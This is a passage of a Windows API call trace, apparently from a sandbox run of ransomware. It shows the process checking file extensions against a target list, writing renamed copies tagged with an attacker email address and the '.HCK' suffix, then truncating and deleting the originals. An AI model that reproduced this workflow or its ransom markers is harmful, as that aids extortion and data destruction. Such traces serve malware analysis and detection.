dwFileAttributes=0x80) returned 1 [0148.071] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0148.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0148.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0148.072] lstrlenW (lpString=".doc") returned 4 [0148.072] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.072] lstrlenW (lpString=".docx") returned 5 [0148.072] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.072] lstrlenW (lpString=".pdf") returned 4 [0148.072] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.072] lstrlenW (lpString=".xls") returned 4 [0148.072] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.072] lstrlenW (lpString=".xlsx") returned 5 [0148.072] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.072] lstrlenW (lpString=".ppt") returned 4 [0148.072] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0148.072] lstrlenW (lpString=".zip") returned 4 [0148.072] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.072] lstrlenW (lpString=".rar") returned 4 [0148.072] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.072] lstrlenW (lpString=".bz2") returned 4 [0148.072] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.072] lstrlenW (lpString=".7z") returned 3 [0148.072] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0148.072] lstrlenW (lpString=".dbf") returned 4 [0148.072] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0148.072] lstrlenW (lpString=".1cd") returned 4 [0148.072] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0148.072] lstrlenW (lpString=".jpg") returned 4 [0148.072] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0148.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0148.072] lstrlenW (lpString=".doc") returned 4 [0148.072] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.072] lstrlenW (lpString=".docx") returned 5 [0148.072] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.072] lstrlenW (lpString=".pdf") returned 4 [0148.073] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.073] lstrlenW (lpString=".xls") returned 4 [0148.073] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.073] lstrlenW (lpString=".xlsx") returned 5 [0148.073] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.073] lstrlenW (lpString=".ppt") returned 4 [0148.073] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0148.073] lstrlenW (lpString=".zip") returned 4 [0148.073] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.073] lstrlenW (lpString=".rar") returned 4 [0148.073] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.073] lstrlenW (lpString=".bz2") returned 4 [0148.073] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.073] lstrlenW (lpString=".7z") returned 3 [0148.073] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0148.073] lstrlenW (lpString=".dbf") returned 4 [0148.073] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0148.073] lstrlenW (lpString=".1cd") returned 4 [0148.073] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0148.073] lstrlenW (lpString=".jpg") returned 4 [0148.073] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.073] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.073] lstrlenW (lpString="eula.rtf") returned 8 [0148.073] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.074] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=3726) returned 1 [0148.074] CloseHandle (hObject=0x2ec) returned 1 [0148.074] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0148.074] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.074] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.074] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.074] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.074] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.075] GetLastError () returned 0x0 [0148.075] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0xe8e, lpOverlapped=0x0) returned 1 [0148.077] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xe90, lpOverlapped=0x0) returned 1 [0148.077] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.077] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.077] SetEndOfFile (hFile=0x2f4) returned 1 [0148.078] CloseHandle (hObject=0x2f4) returned 1 [0148.078] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.078] SetEndOfFile (hFile=0x2ec) returned 1 [0148.079] CloseHandle (hObject=0x2ec) returned 1 [0148.079] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.079] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0148.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0148.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0148.080] lstrlenW (lpString=".doc") returned 4 [0148.080] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.080] lstrlenW (lpString=".docx") returned 5 [0148.080] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.080] lstrlenW (lpString=".pdf") returned 4 [0148.080] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.080] lstrlenW (lpString=".xls") returned 4 [0148.080] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.080] lstrlenW (lpString=".xlsx") returned 5 [0148.080] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.080] lstrlenW (lpString=".ppt") returned 4 [0148.080] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0148.080] lstrlenW (lpString=".zip") returned 4 [0148.080] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.080] lstrlenW (lpString=".rar") returned 4 [0148.080] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.080] lstrlenW (lpString=".bz2") returned 4 [0148.080] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.080] lstrlenW (lpString=".7z") returned 3 [0148.080] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0148.080] lstrlenW (lpString=".dbf") returned 4 [0148.080] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0148.080] lstrlenW (lpString=".1cd") returned 4 [0148.080] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0148.080] lstrlenW (lpString=".jpg") returned 4 [0148.080] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0148.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0148.080] lstrlenW (lpString=".doc") returned 4 [0148.080] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.080] lstrlenW (lpString=".docx") returned 5 [0148.080] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.080] lstrlenW (lpString=".pdf") returned 4 [0148.080] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.080] lstrlenW (lpString=".xls") returned 4 [0148.080] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.080] lstrlenW (lpString=".xlsx") returned 5 [0148.080] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.080] lstrlenW (lpString=".ppt") returned 4 [0148.080] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0148.081] lstrlenW (lpString=".zip") returned 4 [0148.081] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.081] lstrlenW (lpString=".rar") returned 4 [0148.081] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.081] lstrlenW (lpString=".bz2") returned 4 [0148.081] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.081] lstrlenW (lpString=".7z") returned 3 [0148.081] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0148.081] lstrlenW (lpString=".dbf") returned 4 [0148.081] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0148.081] lstrlenW (lpString=".1cd") returned 4 [0148.081] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0148.081] lstrlenW (lpString=".jpg") returned 4 [0148.081] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.081] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.081] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.081] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.081] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=80970) returned 1 [0148.081] CloseHandle (hObject=0x2ec) returned 1 [0148.081] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0148.081] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.081] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.082] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.082] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.082] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.082] GetLastError () returned 0x0 [0148.082] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x13c4a, lpOverlapped=0x0) returned 1 [0148.088] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x13c50, lpOverlapped=0x0) returned 1 [0148.090] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.090] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.090] SetEndOfFile (hFile=0x2f4) returned 1 [0148.090] CloseHandle (hObject=0x2f4) returned 1 [0148.092] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.092] SetEndOfFile (hFile=0x2ec) returned 1 [0148.093] CloseHandle (hObject=0x2ec) returned 1 [0148.093] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.093] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0148.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0148.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0148.094] lstrlenW (lpString=".doc") returned 4 [0148.094] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.094] lstrlenW (lpString=".docx") returned 5 [0148.094] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.094] lstrlenW (lpString=".pdf") returned 4 [0148.094] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.094] lstrlenW (lpString=".xls") returned 4 [0148.094] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.094] lstrlenW (lpString=".xlsx") returned 5 [0148.094] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.094] lstrlenW (lpString=".ppt") returned 4 [0148.094] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0148.094] lstrlenW (lpString=".zip") returned 4 [0148.094] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.094] lstrlenW (lpString=".rar") returned 4 [0148.094] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.094] lstrlenW (lpString=".bz2") returned 4 [0148.094] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.094] lstrlenW (lpString=".7z") returned 3 [0148.094] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0148.094] lstrlenW (lpString=".dbf") returned 4 [0148.094] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0148.094] lstrlenW (lpString=".1cd") returned 4 [0148.094] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0148.094] lstrlenW (lpString=".jpg") returned 4 [0148.094] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0148.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0148.094] lstrlenW (lpString=".doc") returned 4 [0148.094] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.094] lstrlenW (lpString=".docx") returned 5 [0148.095] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.095] lstrlenW (lpString=".pdf") returned 4 [0148.095] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.095] lstrlenW (lpString=".xls") returned 4 [0148.095] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.095] lstrlenW (lpString=".xlsx") returned 5 [0148.095] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.095] lstrlenW (lpString=".ppt") returned 4 [0148.095] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0148.095] lstrlenW (lpString=".zip") returned 4 [0148.095] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.095] lstrlenW (lpString=".rar") returned 4 [0148.095] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.095] lstrlenW (lpString=".bz2") returned 4 [0148.095] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.095] lstrlenW (lpString=".7z") returned 3 [0148.095] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0148.095] lstrlenW (lpString=".dbf") returned 4 [0148.095] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0148.095] lstrlenW (lpString=".1cd") returned 4 [0148.095] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0148.095] lstrlenW (lpString=".jpg") returned 4 [0148.095] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.095] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.095] lstrlenW (lpString="eula.rtf") returned 8 [0148.095] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.095] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=3314) returned 1 [0148.096] CloseHandle (hObject=0x2ec) returned 1 [0148.096] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0148.096] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.096] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.096] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.096] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.096] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0148.303] GetLastError () returned 0x0 [0148.303] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0xcf2, lpOverlapped=0x0) returned 1 [0148.343] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xd00, lpOverlapped=0x0) returned 1 [0148.344] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.344] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.344] SetEndOfFile (hFile=0x310) returned 1 [0148.346] CloseHandle (hObject=0x310) returned 1 [0148.347] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.347] SetEndOfFile (hFile=0x2ec) returned 1 [0148.348] CloseHandle (hObject=0x2ec) returned 1 [0148.348] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.348] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0148.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0148.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0148.348] lstrlenW (lpString=".doc") returned 4 [0148.348] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.348] lstrlenW (lpString=".docx") returned 5 [0148.348] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.348] lstrlenW (lpString=".pdf") returned 4 [0148.348] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.348] lstrlenW (lpString=".xls") returned 4 [0148.348] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.348] lstrlenW (lpString=".xlsx") returned 5 [0148.348] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.348] lstrlenW (lpString=".ppt") returned 4 [0148.348] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0148.349] lstrlenW (lpString=".zip") returned 4 [0148.349] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.349] lstrlenW (lpString=".rar") returned 4 [0148.349] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.349] lstrlenW (lpString=".bz2") returned 4 [0148.349] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.349] lstrlenW (lpString=".7z") returned 3 [0148.349] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0148.349] lstrlenW (lpString=".dbf") returned 4 [0148.349] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0148.349] lstrlenW (lpString=".1cd") returned 4 [0148.349] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0148.349] lstrlenW (lpString=".jpg") returned 4 [0148.349] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0148.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0148.349] lstrlenW (lpString=".doc") returned 4 [0148.349] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.349] lstrlenW (lpString=".docx") returned 5 [0148.349] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.349] lstrlenW (lpString=".pdf") returned 4 [0148.349] lstrcmpiW (lpString1=".pdf", 